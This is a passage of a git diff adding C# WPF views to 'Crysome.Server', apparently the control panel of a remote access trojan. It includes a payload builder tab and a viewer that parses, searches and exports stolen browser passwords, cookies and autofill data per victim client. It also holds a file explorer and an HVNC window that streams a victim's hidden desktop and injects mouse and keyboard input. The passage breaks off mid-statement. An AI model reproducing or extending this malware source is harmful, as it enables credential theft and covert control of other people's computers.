Plugin_BackToConnections => ResourceManager.GetString("Plugin_BackToConnections", resourceCulture); + + public static string Plugin_Title => ResourceManager.GetString("Plugin_Title", resourceCulture); + + public static string Plugin_Subtitle => ResourceManager.GetString("Plugin_Subtitle", resourceCulture); + + public static string Plugin_ContextMenuFeatures => ResourceManager.GetString("Plugin_ContextMenuFeatures", resourceCulture); + + public static string Plugin_ChangesNote => ResourceManager.GetString("Plugin_ChangesNote", resourceCulture); + + internal Strings() + { + } +} diff --git a/Crysome.Server/Crysome.Server.View/BuilderTab.cs b/Crysome.Server/Crysome.Server.View/BuilderTab.cs new file mode 100644 index 0000000..2f53b4b --- /dev/null +++ b/Crysome.Server/Crysome.Server.View/BuilderTab.cs @@ -0,0 +1,50 @@ +using System; +using System.CodeDom.Compiler; +using System.ComponentModel; +using System.Diagnostics; +using System.Windows; +using System.Windows.Controls; +using System.Windows.Markup; + +namespace Crysome.Server.View; + +public class BuilderTab : UserControl, IComponentConnector +{ + private bool _contentLoaded; + + public BuilderTab() + { + InitializeComponent(); + } + + private void CheckBox_Checked(object sender, RoutedEventArgs e) + { + } + + [DebuggerNonUserCode] + [GeneratedCode("PresentationBuildTasks", "9.0.14.0")] + public void InitializeComponent() + { + if (!_contentLoaded) + { + _contentLoaded = true; + Uri resourceLocator = new Uri("/Crysome.Server;component/view/buildertab.xaml", UriKind.Relative); + Application.LoadComponent(this, resourceLocator); + } + } + + [DebuggerNonUserCode] + [GeneratedCode("PresentationBuildTasks", "9.0.14.0")] + [EditorBrowsable(EditorBrowsableState.Never)] + void IComponentConnector.Connect(int connectionId, object target) + { + if (connectionId == 1) + { + ((CheckBox)target).Checked += CheckBox_Checked; + } + else + { + _contentLoaded = true; + } + } +} diff --git a/Crysome.Server/Crysome.Server.View/CredentialsViewerWindow.cs b/Crysome.Server/Crysome.Server.View/CredentialsViewerWindow.cs new file mode 100644 index 0000000..1115846 --- /dev/null +++ b/Crysome.Server/Crysome.Server.View/CredentialsViewerWindow.cs @@ -0,0 +1,671 @@ +using System; +using System.CodeDom.Compiler; +using System.Collections.Generic; +using System.ComponentModel; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Text; +using System.Text.Json; +using System.Windows; +using System.Windows.Controls; +using System.Windows.Controls.Primitives; +using System.Windows.Input; +using System.Windows.Markup; +using Wpf.Ui.Controls; + +namespace Crysome.Server.View; + +public class CredentialsViewerWindow : FluentWindow, IComponentConnector +{ + public class PasswordEntry + { + public string Browser { get; set; } + + public string Url { get; set; } + + public string Username { get; set; } + + public string Password { get; set; } + } + + public class CookieEntry + { + public string Browser { get; set; } + + public string Host { get; set; } + + public string Name { get; set; } + + public string Value { get; set; } + + public string Path { get; set; } + + public string Expires { get; set; } + } + + public class AutofillEntry + { + public string Browser { get; set; } + + public string Name { get; set; } + + public string Value { get; set; } + } + + private readonly string _passwordsJson; + + private readonly string _cookiesJson; + + private readonly string _autofillsJson; + + private readonly string _clientDisplayName; + + private List _allPasswords = new List(); + + private List _allCookies = new List(); + + private List _allAutofills = new List(); + + internal TextBlock TitleText; + + internal TextBox SearchBox; + + internal Button ExportBtn; + + internal Button CloseBtn; + + internal TabControl MainTabs; + + internal DataGrid PasswordsGrid; + + internal DataGrid CookiesGrid; + + internal DataGrid AutofillsGrid; + + internal TextBlock StatusText; + + private bool _contentLoaded; + + public CredentialsViewerWindow(string title, string passwordsJson, string cookiesJson, string autofillsJson = null, string errorMessage = null) + { + InitializeComponent(); + _passwordsJson = passwordsJson ?? ""; + _cookiesJson = cookiesJson ?? ""; + _autofillsJson = autofillsJson ?? ""; + ((Window)this).Title = title ?? "Credentials"; + TitleText.Text = title ?? "Credentials"; + _clientDisplayName = SanitizeFolderName(ExtractClientName(title)); + if (!string.IsNullOrEmpty(errorMessage)) + { + StatusText.Text = "Error: " + errorMessage; + } + LoadPasswords(); + } + + private void LoadPasswords() + { + _allPasswords = ParsePasswordsJson(_passwordsJson); + PasswordsGrid.ItemsSource = ((_allPasswords.Count > 0) ? _allPasswords : new List + { + new PasswordEntry + { + Browser = "", + Url = "(empty)", + Username = "", + Password = "" + } + }); + UpdateStatus(); + } + + private void LoadCookies() + { + if (_allCookies.Count == 0 || CookiesGrid.ItemsSource == null) + { + _allCookies = ParseCookiesJson(_cookiesJson); + CookiesGrid.ItemsSource = ((_allCookies.Count > 0) ? _allCookies : new List + { + new CookieEntry + { + Browser = "", + Host = "(empty)", + Name = "", + Value = "", + Path = "", + Expires = "" + } + }); + UpdateStatus(); + } + } + + private void LoadAutofills() + { + if (_allAutofills.Count == 0 || AutofillsGrid.ItemsSource == null) + { + _allAutofills = ParseAutofillsJson(_autofillsJson); + AutofillsGrid.ItemsSource = ((_allAutofills.Count > 0) ? _allAutofills : new List + { + new AutofillEntry + { + Browser = "", + Name = "(empty)", + Value = "" + } + }); + UpdateStatus(); + } + } + + private void UpdateStatus() + { + int count = _allPasswords.Count; + int count2 = _allCookies.Count; + int count3 = _allAutofills.Count; + StatusText.Text = $"Passwords: {count} | Cookies: {count2} | Autofills: {count3}"; + } + + private static string SafeGetString(JsonElement el, params string[] propertyNames) + { + foreach (string propertyName in propertyNames) + { + if (el.TryGetProperty(propertyName, out var value) && value.ValueKind != JsonValueKind.Null && value.ValueKind != JsonValueKind.Undefined) + { + return value.ToString() ?? ""; + } + } + return ""; + } + + private static List ParsePasswordsJson(string json) + { + List list = new List(); + if (string.IsNullOrWhiteSpace(json)) + { + return list; + } + try + { + string text = json.Trim(); + if (text.StartsWith("[")) + { + using JsonDocument jsonDocument = JsonDocument.Parse(text); + foreach (JsonElement item in jsonDocument.RootElement.EnumerateArray()) + { + PasswordEntry passwordEntry = new PasswordEntry(); + passwordEntry.Url = SafeGetString(item, "origin_url", "action_url", "url", "origin"); + passwordEntry.Username = SafeGetString(item, "username_value", "username"); + passwordEntry.Password = SafeGetString(item, "password_value", "password"); + passwordEntry.Browser = SafeGetString(item, "browser", "browser_name"); + if (string.IsNullOrEmpty(passwordEntry.Browser)) + { + passwordEntry.Browser = DetectBrowserFromUrl(passwordEntry.Url); + } + if (!string.IsNullOrWhiteSpace(passwordEntry.Username) || !string.IsNullOrWhiteSpace(passwordEntry.Password)) + { + list.Add(passwordEntry); + } + } + if (list.Count > 0) + { + return list; + } + } + } + catch + { + } + string[] array = json.Split(new char[2] { '\n', '\r' }, StringSplitOptions.RemoveEmptyEntries); + for (int i = 0; i < array.Length; i++) + { + string text2 = array[i].Trim(); + if (!text2.StartsWith("[")) + { + continue; + } + try + { + using JsonDocument jsonDocument2 = JsonDocument.Parse(text2); + foreach (JsonElement item2 in jsonDocument2.RootElement.EnumerateArray()) + { + PasswordEntry passwordEntry2 = new PasswordEntry(); + passwordEntry2.Url = SafeGetString(item2, "origin_url", "action_url", "url", "origin"); + passwordEntry2.Username = SafeGetString(item2, "username_value", "username"); + passwordEntry2.Password = SafeGetString(item2, "password_value", "password"); + passwordEntry2.Browser = SafeGetString(item2, "browser", "browser_name"); + if (string.IsNullOrEmpty(passwordEntry2.Browser)) + { + passwordEntry2.Browser = DetectBrowserFromUrl(passwordEntry2.Url); + } + if (!string.IsNullOrWhiteSpace(passwordEntry2.Username) || !string.IsNullOrWhiteSpace(passwordEntry2.Password)) + { + list.Add(passwordEntry2); + } + } + } + catch + { + } + } + return list; + } + + private static string DetectBrowserFromUrl(string url) + { + if (string.IsNullOrEmpty(url)) + { + return ""; + } + if (url.Contains("chrome")) + { + return "Chrome"; + } + if (url.Contains("edge")) + { + return "Edge"; + } + if (url.Contains("brave")) + { + return "Brave"; + } + return ""; + } + + private static List ParseCookiesJson(string json) + { + List list = new List(); + if (string.IsNullOrWhiteSpace(json)) + { + return list; + } + try + { + string text = json.Trim(); + if (text.StartsWith("[")) + { + using (JsonDocument jsonDocument = JsonDocument.Parse(text)) + { + foreach (JsonElement item in jsonDocument.RootElement.EnumerateArray()) + { + CookieEntry cookieEntry = new CookieEntry(); + cookieEntry.Host = SafeGetString(item, "host_key", "host", "domain"); + cookieEntry.Name = SafeGetString(item, "name"); + cookieEntry.Value = SafeGetString(item, "value"); + if (string.IsNullOrEmpty(cookieEntry.Value) && item.TryGetProperty("encrypted_value", out var value) && value.ValueKind != JsonValueKind.Null) + { + cookieEntry.Value = "[encrypted]"; + } + cookieEntry.Path = SafeGetString(item, "path"); + cookieEntry.Expires = SafeGetString(item, "expires_utc", "expires", "expirationDate"); + cookieEntry.Browser = SafeGetString(item, "browser", "browser_name"); + if (string.IsNullOrEmpty(cookieEntry.Browser)) + { + cookieEntry.Browser = DetectBrowserFromHost(cookieEntry.Host); + } + if (!string.IsNullOrWhiteSpace(cookieEntry.Name) || !string.IsNullOrWhiteSpace(cookieEntry.Host)) + { + list.Add(cookieEntry); + } + } + return list; + } + } + } + catch + { + } + string[] array = json.Split(new char[2] { '\n', '\r' }, StringSplitOptions.RemoveEmptyEntries); + for (int i = 0; i < array.Length; i++) + { + string text2 = array[i].Trim(); + if (!text2.StartsWith("[")) + { + continue; + } + try + { + using JsonDocument jsonDocument2 = JsonDocument.Parse(text2); + foreach (JsonElement item2 in jsonDocument2.RootElement.EnumerateArray()) + { + CookieEntry cookieEntry2 = new CookieEntry(); + cookieEntry2.Host = SafeGetString(item2, "host_key", "host", "domain"); + cookieEntry2.Name = SafeGetString(item2, "name"); + cookieEntry2.Value = SafeGetString(item2, "value"); + if (string.IsNullOrEmpty(cookieEntry2.Value) && item2.TryGetProperty("encrypted_value", out var value2) && value2.ValueKind != JsonValueKind.Null) + { + cookieEntry2.Value = "[encrypted]"; + } + cookieEntry2.Path = SafeGetString(item2, "path"); + cookieEntry2.Expires = SafeGetString(item2, "expires_utc", "expires", "expirationDate"); + cookieEntry2.Browser = SafeGetString(item2, "browser", "browser_name"); + if (string.IsNullOrEmpty(cookieEntry2.Browser)) + { + cookieEntry2.Browser = DetectBrowserFromHost(cookieEntry2.Host); + } + if (!string.IsNullOrWhiteSpace(cookieEntry2.Name) || !string.IsNullOrWhiteSpace(cookieEntry2.Host)) + { + list.Add(cookieEntry2); + } + } + } + catch + { + } + } + return list; + } + + private static string DetectBrowserFromHost(string host) + { + string.IsNullOrEmpty(host); + return ""; + } + + private static List ParseAutofillsJson(string json) + { + List list = new List(); + if (string.IsNullOrWhiteSpace(json)) + { + return list; + } + try + { + string text = json.Trim(); + if (text.StartsWith("[")) + { + using JsonDocument jsonDocument = JsonDocument.Parse(text); + foreach (JsonElement item in jsonDocument.RootElement.EnumerateArray()) + { + AutofillEntry autofillEntry = new AutofillEntry(); + autofillEntry.Browser = SafeGetString(item, "browser", "browser_name"); + autofillEntry.Name = SafeGetString(item, "name"); + autofillEntry.Value = SafeGetString(item, "value"); + list.Add(autofillEntry); + } + if (list.Count > 0) + { + return list; + } + } + } + catch + { + } + string[] array = json.Split(new char[2] { '\n', '\r' }, StringSplitOptions.RemoveEmptyEntries); + for (int i = 0; i < array.Length; i++) + { + string text2 = array[i].Trim(); + if (!text2.StartsWith("[")) + { + continue; + } + try + { + using JsonDocument jsonDocument2 = JsonDocument.Parse(text2); + foreach (JsonElement item2 in jsonDocument2.RootElement.EnumerateArray()) + { + AutofillEntry autofillEntry2 = new AutofillEntry(); + autofillEntry2.Browser = SafeGetString(item2, "browser", "browser_name"); + autofillEntry2.Name = SafeGetString(item2, "name"); + autofillEntry2.Value = SafeGetString(item2, "value"); + list.Add(autofillEntry2); + } + } + catch + { + } + } + return list; + } + + private void SearchBox_TextChanged(object sender, TextChangedEventArgs e) + { + string q = (SearchBox.Text ?? "").ToLowerInvariant().Trim(); + if (MainTabs.SelectedIndex == 0) + { + PasswordsGrid.ItemsSource = (string.IsNullOrEmpty(q) ? _allPasswords : _allPasswords.Where((PasswordEntry p) => Contains(p.Url, q) || Contains(p.Username, q) || Contains(p.Browser, q) || Contains(p.Password, q)).ToList()); + } + else if (MainTabs.SelectedIndex == 1) + { + CookiesGrid.ItemsSource = (string.IsNullOrEmpty(q) ? _allCookies : _allCookies.Where((CookieEntry c) => Contains(c.Host, q) || Contains(c.Name, q) || Contains(c.Value, q) || Contains(c.Browser, q)).ToList()); + } + else if (MainTabs.SelectedIndex == 2) + { + AutofillsGrid.ItemsSource = (string.IsNullOrEmpty(q) ? _allAutofills : _allAutofills.Where((AutofillEntry a) => Contains(a.Name, q) || Contains(a.Value, q) || Contains(a.Browser, q)).ToList()); + } + } + + private static bool Contains(string s, string q) + { + if (!string.IsNullOrEmpty(s)) + { + return s.ToLowerInvariant().Contains(q); + } + return false; + } + + private void MainTabs_SelectionChanged(object sender, SelectionChangedEventArgs e) + { + if (SearchBox != null) + { + SearchBox.Text = ""; + } + TabControl mainTabs = MainTabs; + if (mainTabs != null && mainTabs.SelectedIndex == 1) + { + LoadCookies(); + } + TabControl mainTabs2 = MainTabs; + if (mainTabs2 != null && mainTabs2.SelectedIndex == 2) + { + LoadAutofills(); + } + } + + private void CopyPassword_Click(object sender, RoutedEventArgs e) + { + if (PasswordsGrid.SelectedItem is PasswordEntry passwordEntry) + { + SafeCopy(passwordEntry.Password); + } + } + + private void CopyUsername_Click(object sender, RoutedEventArgs e) + { + if (PasswordsGrid.SelectedItem is PasswordEntry passwordEntry) + { + SafeCopy(passwordEntry.Username); + } + } + + private void CopyRow_Click(object sender, RoutedEventArgs e) + { + if (PasswordsGrid.SelectedItem is PasswordEntry passwordEntry) + { + SafeCopy($"{passwordEntry.Browser}\t{passwordEntry.Url}\t{passwordEntry.Username}\t{passwordEntry.Password}"); + } + } + + private void CopyCookieValue_Click(object sender, RoutedEventArgs e) + { + if (CookiesGrid.SelectedItem is CookieEntry cookieEntry) + { + SafeCopy(cookieEntry.Value); + } + } + + private void CopyCookieName_Click(object sender, RoutedEventArgs e) + { + if (CookiesGrid.SelectedItem is CookieEntry cookieEntry) + { + SafeCopy(cookieEntry.Name); + } + } + + private void CopyCookieRow_Click(object sender, RoutedEventArgs e) + { + if (CookiesGrid.SelectedItem is CookieEntry cookieEntry) + { + SafeCopy($"{cookieEntry.Browser}\t{cookieEntry.Host}\t{cookieEntry.Name}\t{cookieEntry.Value}"); + } + } + + private static void SafeCopy(string text) + { + try + { + Clipboard.SetText(text ?? ""); + } + catch + { + } + } + + private void ExportBtn_Click(object sender, RoutedEventArgs e) + { + try + { + string text = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "Exports", _clientDisplayName); + Directory.CreateDirectory(text); + if (!string.IsNullOrWhiteSpace(_passwordsJson)) + { + File.WriteAllText(Path.Combine(text, "passwords.json"), _passwordsJson, Encoding.UTF8); + } + if (!string.IsNullOrWhiteSpace(_cookiesJson)) + { + File.WriteAllText(Path.Combine(text, "cookies.json"), _cookiesJson, Encoding.UTF8); + } + if (!string.IsNullOrWhiteSpace(_autofillsJson)) + { + File.WriteAllText(Path.Combine(text, "autofills.json"), _autofillsJson, Encoding.UTF8); + } + StatusText.Text = "Exported to " + text; + } + catch (Exception ex) + { + StatusText.Text = "Export failed: " + ex.Message; + } + } + + private void CloseBtn_Click(object sender, RoutedEventArgs e) + { + ((Window)this).Close(); + } + + private void Header_MouseLeftButtonDown(object sender, MouseButtonEventArgs e) + { + try + { + ((Window)this).DragMove(); + } + catch + { + } + } + + private static string ExtractClientName(string title) + { + if (string.IsNullOrEmpty(title)) + { + return "Unknown"; + } + int num = title.IndexOf(" — ", StringComparison.Ordinal); + if (num < 0) + { + return title; + } + return title.Substring(num + 3).Trim(); + } + + private static string SanitizeFolderName(string name) + { + if (string.IsNullOrEmpty(name)) + { + return "Unknown"; + } + char[] invalid = Path.GetInvalidFileNameChars(); + return string.Concat(name.Where((char c) => !Enumerable.Contains(invalid, c))); + } + + [DebuggerNonUserCode] + [GeneratedCode("PresentationBuildTasks", "9.0.14.0")] + public void InitializeComponent() + { + if (!_contentLoaded) + { + _contentLoaded = true; + Uri resourceLocator = new Uri("/Crysome.Server;component/view/credentialsviewerwindow.xaml", UriKind.Relative); + Application.LoadComponent(this, resourceLocator); + } + } + + [DebuggerNonUserCode] + [GeneratedCode("PresentationBuildTasks", "9.0.14.0")] + [EditorBrowsable(EditorBrowsableState.Never)] + void IComponentConnector.Connect(int connectionId, object target) + { + //IL_0098: Unknown result type (might be due to invalid IL or missing references) + //IL_00a2: Expected O, but got Unknown + //IL_00bc: Unknown result type (might be due to invalid IL or missing references) + //IL_00c6: Expected O, but got Unknown + switch (connectionId) + { + case 1: + ((Border)target).MouseLeftButtonDown += Header_MouseLeftButtonDown; + break; + case 2: + TitleText = (TextBlock)target; + break; + case 3: + SearchBox = (TextBox)target; + SearchBox.TextChanged += SearchBox_TextChanged; + break; + case 4: + ExportBtn = (Button)target; + ((ButtonBase)(object)ExportBtn).Click += ExportBtn_Click; + break; + case 5: + CloseBtn = (Button)target; + ((ButtonBase)(object)CloseBtn).Click += CloseBtn_Click; + break; + case 6: + MainTabs = (TabControl)target; + MainTabs.SelectionChanged += MainTabs_SelectionChanged; + break; + case 7: + PasswordsGrid = (DataGrid)target; + break; + case 8: + ((MenuItem)target).Click += CopyPassword_Click; + break; + case 9: + ((MenuItem)target).Click += CopyUsername_Click; + break; + case 10: + ((MenuItem)target).Click += CopyRow_Click; + break; + case 11: + CookiesGrid = (DataGrid)target; + break; + case 12: + ((MenuItem)target).Click += CopyCookieValue_Click; + break; + case 13: + ((MenuItem)target).Click += CopyCookieName_Click; + break; + case 14: + ((MenuItem)target).Click += CopyCookieRow_Click; + break; + case 15: + AutofillsGrid = (DataGrid)target; + break; + case 16: + StatusText = (TextBlock)target; + break; + default: + _contentLoaded = true; + break; + } + } +} diff --git a/Crysome.Server/Crysome.Server.View/FileExplorer.cs b/Crysome.Server/Crysome.Server.View/FileExplorer.cs new file mode 100644 index 0000000..8d045f1 --- /dev/null +++ b/Crysome.Server/Crysome.Server.View/FileExplorer.cs @@ -0,0 +1,69 @@ +using System; +using System.CodeDom.Compiler; +using System.ComponentModel; +using System.Diagnostics; +using System.Windows; +using System.Windows.Controls; +using System.Windows.Input; +using System.Windows.Markup; +using Crysome.Server.ViewModel; + +namespace Crysome.Server.View; + +public class FileExplorer : UserControl, IComponentConnector, IStyleConnector +{ + internal ListView fileListView; + + private bool _contentLoaded; + + public FileExplorer() + { + InitializeComponent(); + } + + private void OnFileEntryClicked(object sender, MouseButtonEventArgs e) + { + ((FileExplorerViewModel)base.DataContext).OpenCommand.Execute(string.Empty); + } + + [DebuggerNonUserCode] + [GeneratedCode("PresentationBuildTasks", "9.0.14.0")] + public void InitializeComponent() + { + if (!_contentLoaded) + { + _contentLoaded = true; + Uri resourceLocator = new Uri("/Crysome.Server;component/view/fileexplorer.xaml", UriKind.Relative); + Application.LoadComponent(this, resourceLocator); + } + } + + [DebuggerNonUserCode] + [GeneratedCode("PresentationBuildTasks", "9.0.14.0")] + [EditorBrowsable(EditorBrowsableState.Never)] + void IComponentConnector.Connect(int connectionId, object target) + { + if (connectionId == 2) + { + fileListView = (ListView)target; + } + else + { + _contentLoaded = true; + } + } + + [DebuggerNonUserCode] + [GeneratedCode("PresentationBuildTasks", "9.0.14.0")] + [EditorBrowsable(EditorBrowsableState.Never)] + void IStyleConnector.Connect(int connectionId, object target) + { + if (connectionId == 1) + { + EventSetter eventSetter = new EventSetter(); + eventSetter.Event = Control.MouseDoubleClickEvent; + eventSetter.Handler = new MouseButtonEventHandler(OnFileEntryClicked); + ((Style)target).Setters.Add(eventSetter); + } + } +} diff --git a/Crysome.Server/Crysome.Server.View/HvncWindow.cs b/Crysome.Server/Crysome.Server.View/HvncWindow.cs new file mode 100644 index 0000000..0e8821f --- /dev/null +++ b/Crysome.Server/Crysome.Server.View/HvncWindow.cs @@ -0,0 +1,797 @@ +using System; +using System.CodeDom.Compiler; +using System.Collections.Generic; +using System.ComponentModel; +using System.Diagnostics; +using System.IO; +using System.Runtime.InteropServices; +using System.Threading; +using System.Windows; +using System.Windows.Controls; +using System.Windows.Controls.Primitives; +using System.Windows.Input; +using System.Windows.Markup; +using System.Windows.Media.Imaging; +using System.Windows.Threading; +using Crysome.Server.Model; +using Crysome.Server.ViewModel; +using Wpf.Ui.Controls; + +namespace Crysome.Server.View; + +public class HvncWindow : FluentWindow, IComponentConnector +{ + private readonly ClientInfo _client; + + private readonly ManageClientsViewModel _vm; + + private int _remoteWidth = 1920; + + private int _remoteHeight = 1080; + + private bool _streaming; + + private byte[] _latestFrame; + + private readonly object _frameLock = new object(); + + private bool _updatePending; + + private readonly HashSet _keysDownSent = new HashSet(); + + private int _lastSentKeyOrChar; + + private int _lastSentTicks; + + private const int SendThrottleMs = 120; + + private long _lastLeftDownTicks; + + private Point _lastLeftDownPos; + + private bool _suppressSecondLeftDown; + + private const int DoubleClickMs = 400; + + private const double DoubleClickMaxDistance = 10.0; + + private int _frameCount; + + private long _fpsTickStart; + + private DispatcherTimer _fpsTimer; + + private const int WM_MOUSEMOVE = 512; + + private const int WM_LBUTTONDOWN = 513; + + private const int WM_LBUTTONUP = 514; + + private const int WM_LBUTTONDBLCLK = 515; + + private const int WM_RBUTTONDOWN = 516; + + private const int WM_RBUTTONUP = 517; + + private const int WM_KEYDOWN = 256; + + private const int WM_KEYUP = 257; + + private const int WM_CHAR = 258; + + private const int VK_SHIFT = 16; + + private const int VK_CAPITAL = 20; + + private const int VK_BACK = 8; + + private const int VK_TAB = 9; + + private const int VK_RETURN = 13; + + private const int VK_ESCAPE = 27; + + private const int VK_PRIOR = 33; + + private const int VK_NEXT = 34; + + private const int VK_END = 35; + + private const int VK_HOME = 36; + + private const int VK_LEFT = 37; + + private const int VK_UP = 38; + + private const int VK_RIGHT = 39; + + private const int VK_DOWN = 40; + + private const int VK_INSERT = 45; + + private const int VK_DELETE = 46; + + internal TextBlock TitleText; + + internal Button StartBtn; + + internal Button StopBtn; + + internal Button CloseBtn; + + internal Viewbox HvncViewbox; + + internal Image HvncImage; + + internal ToggleSwitch CloneControlSwitch; + + internal ToggleSwitch MouseControlSwitch; + + internal ToggleSwitch KeyboardControlSwitch; + + internal TextBlock StatusText; + + internal TextBlock FpsText; + + internal Slider IntervalSlider; + + internal TextBlock IntervalLabel; + + internal ComboBox QualityCombo; + + private bool _contentLoaded; + + [DllImport("user32.dll")] + private static extern short GetKeyState(int nVirtKey); + + [DllImport("user32.dll")] + [return: MarshalAs(UnmanagedType.Bool)] + private static extern bool GetKeyboardState(byte[] lpKeyState); + + [DllImport("user32.dll")] + private static extern uint MapVirtualKey(uint uCode, uint uMapType); + + [DllImport("user32.dll")] + private static extern int ToAscii(uint uVirtKey, uint uScanCode, byte[] lpKeyState, out uint lpChar, uint uFlags); + + public HvncWindow(ClientInfo client, ManageClientsViewModel vm) + { + InitializeComponent(); + _client = client; + _vm = vm; + ((Window)this).Title = "HVNC — " + (client?.Address ?? "?"); + TitleText.Text = ((Window)this).Title; + IntervalSlider.ValueChanged += delegate + { + IntervalLabel.Text = (int)IntervalSlider.Value + "ms"; + }; + ((Window)this).Closed += delegate + { + DispatcherTimer fpsTimer = _fpsTimer; + if (fpsTimer != null) + { + fpsTimer.Stop(); + } + if (_streaming) + { + _vm.StopHvnc(_client); + } + _vm.UnregisterHvncFrames(_client); + }; + } + + private void StartBtn_Click(object sender, RoutedEventArgs e) + { + //IL_00d8: Unknown result type (might be due to invalid IL or missing references) + //IL_00dd: Unknown result type (might be due to invalid IL or missing references) + //IL_00ef: Expected O, but got Unknown + _streaming = true; + _frameCount = 0; + _fpsTickStart = Environment.TickCount64; + ((UIElement)(object)StartBtn).IsEnabled = false; + ((UIElement)(object)StopBtn).IsEnabled = true; + StatusText.Text = "Streaming hidden desktop. Click on image to control."; + HvncImage.Focus(); + int quality = QualityCombo?.SelectedIndex switch + { + 0 => 100, + 1 => 90, + 2 => 75, + 3 => 50, + 4 => 25, + _ => 10, + }; + int intervalMs = (int)(IntervalSlider?.Value ?? 80.0); + _fpsTimer = new DispatcherTimer + { + Interval = TimeSpan.FromSeconds(1L) + }; + _fpsTimer.Tick += delegate + { + FpsText.Text = _frameCount + " FPS"; + _frameCount = 0; + }; + _fpsTimer.Start(); + _vm.StartHvnc(_client, quality, intervalMs, delegate(byte[] imageData) + { + if (imageData != null && imageData.Length != 0) + { + Interlocked.Increment(ref _frameCount); + lock (_frameLock) + { + _latestFrame = imageData; + } + if (!_updatePending) + { + _updatePending = true; + ((DispatcherObject)this).Dispatcher.BeginInvoke((Delegate)new Action(ApplyLatestFrame), (DispatcherPriority)4, Array.Empty()); + } + } + }); + } + + private void ApplyLatestFrame() + { + byte[] latestFrame; + lock (_frameLock) + { + _updatePending = false; + latestFrame = _latestFrame; + } + if (latestFrame == null || latestFrame.Length == 0) + { + return; + } + try + { + BitmapImage bitmapImage = new BitmapImage(); + bitmapImage.BeginInit(); + bitmapImage.StreamSource = new MemoryStream(latestFrame); + bitmapImage.CacheOption = BitmapCacheOption.OnLoad; + bitmapImage.EndInit(); + ((Freezable)bitmapImage).Freeze(); + _remoteWidth = bitmapImage.PixelWidth; + _remoteHeight = bitmapImage.PixelHeight; + HvncImage.Source = bitmapImage; + } + catch + { + } + } + + private void StopBtn_Click(object sender, RoutedEventArgs e) + { + _streaming = false; + DispatcherTimer fpsTimer = _fpsTimer; + if (fpsTimer != null) + { + fpsTimer.Stop(); + } + _fpsTimer = null; + FpsText.Text = ""; + _keysDownSent.Clear(); + _lastSentKeyOrChar = 0; + _lastSentTicks = 0; + ((UIElement)(object)StartBtn).IsEnabled = true; + ((UIElement)(object)StopBtn).IsEnabled = false; + _vm.StopHvnc(_client); + _vm.UnregisterHvncFrames(_client); + lock (_frameLock) + { + _latestFrame = null; + } + HvncImage.Source = null; + StatusText.Text = "Stopped."; + } + + private void CloseBtn_Click(object sender, RoutedEventArgs e) + { + ((Window)this).Close(); + } + + private void Header_MouseLeftButtonDown(object sender, MouseButtonEventArgs e) + { + try + { + ((Window)this).DragMove(); + } + catch + { + } + } + + private void ImageToRemoteCoords(Point p, out int x, out int y) + { + double actualWidth = HvncImage.ActualWidth; + double actualHeight = HvncImage.ActualHeight; + if (actualWidth <= 0.0 || actualHeight <= 0.0 || _remoteWidth <= 0 || _remoteHeight <= 0) + { + x = 0; + y = 0; + return; + } + double num = Math.Min(actualWidth / (double)_remoteWidth, actualHeight / (double)_remoteHeight); + double num2 = (double)_remoteWidth * num; + double num3 = (double)_remoteHeight * num; + double num4 = (actualWidth - num2) / 2.0; + double num5 = (actualHeight - num3) / 2.0; + x = (int)((p.X - num4) / num); + y = (int)((p.Y - num5) / num); + if (x < 0) + { + x = 0; + } + if (x >= _remoteWidth) + { + x = _remoteWidth - 1; + } + if (y < 0) + { + y = 0; + } + if (y >= _remoteHeight) + { + y = _remoteHeight - 1; + } + } + + private static int MakeLParam(int x, int y) + { + return (y << 16) | (x & 0xFFFF); + } + + private void HvncImage_MouseMove(object sender, MouseEventArgs e) + { + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + if (_streaming) + { + ToggleSwitch mouseControlSwitch = MouseControlSwitch; + if (mouseControlSwitch != null && ((ToggleButton)(object)mouseControlSwitch).IsChecked == true) + { + ImageToRemoteCoords(e.GetPosition(HvncImage), out var x, out var y); + _vm.SendHvncInput(_client, 512, 0, MakeLParam(x, y)); + } + } + } + + private void HvncImage_MouseDown(object sender, MouseButtonEventArgs e) + { + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_009d: Unknown result type (might be due to invalid IL or missing references) + //IL_009e: Unknown result type (might be due to invalid IL or missing references) + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + //IL_006e: Unknown result type (might be due to invalid IL or missing references) + //IL_0073: Unknown result type (might be due to invalid IL or missing references) + //IL_0078: Unknown result type (might be due to invalid IL or missing references) + if (!_streaming) + { + return; + } + ToggleSwitch mouseControlSwitch = MouseControlSwitch; + if (mouseControlSwitch == null || ((ToggleButton)(object)mouseControlSwitch).IsChecked != true) + { + return; + } + HvncImage.Focus(); + Point position = e.GetPosition(HvncImage); + ImageToRemoteCoords(position, out var x, out var y); + if (e.ChangedButton == MouseButton.Left) + { + long tickCount = Environment.TickCount64; + if (tickCount - _lastLeftDownTicks < 400) + { + Vector val = position - _lastLeftDownPos; + if (val.Length < 10.0) + { + _suppressSecondLeftDown = true; + return; + } + } + _lastLeftDownTicks = tickCount; + _lastLeftDownPos = position; + _vm.SendHvncInput(_client, 513, 0, MakeLParam(x, y)); + } + else + { + _vm.SendHvncInput(_client, 516, 0, MakeLParam(x, y)); + } + } + + private void HvncImage_MouseUp(object sender, MouseButtonEventArgs e) + { + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + if (!_streaming) + { + return; + } + ToggleSwitch mouseControlSwitch = MouseControlSwitch; + if (mouseControlSwitch == null || ((ToggleButton)(object)mouseControlSwitch).IsChecked != true) + { + return; + } + ImageToRemoteCoords(e.GetPosition(HvncImage), out var x, out var y); + if (e.ChangedButton == MouseButton.Left) + { + if (_suppressSecondLeftDown) + { + _suppressSecondLeftDown = false; + _vm.SendHvncInput(_client, 515, 0, MakeLParam(x, y)); + _vm.SendHvncInput(_client, 514, 0, MakeLParam(x, y)); + } + else + { + _vm.SendHvncInput(_client, 514, 0, MakeLParam(x, y)); + } + } + else + { + _vm.SendHvncInput(_client, 517, 0, MakeLParam(x, y)); + } + } + + private static int GetModifiedChar(int vk) + { + GetKeyState(0); + byte[] lpKeyState = new byte[256]; + if (!GetKeyboardState(lpKeyState)) + { + return 0; + } + uint uScanCode = MapVirtualKey((uint)vk, 0u); + if (ToAscii((uint)vk, uScanCode, lpKeyState, out var lpChar, 0u) == 1) + { + return (int)lpChar; + } + return 0; + } + + private static bool IsControlKey(int vk) + { + if 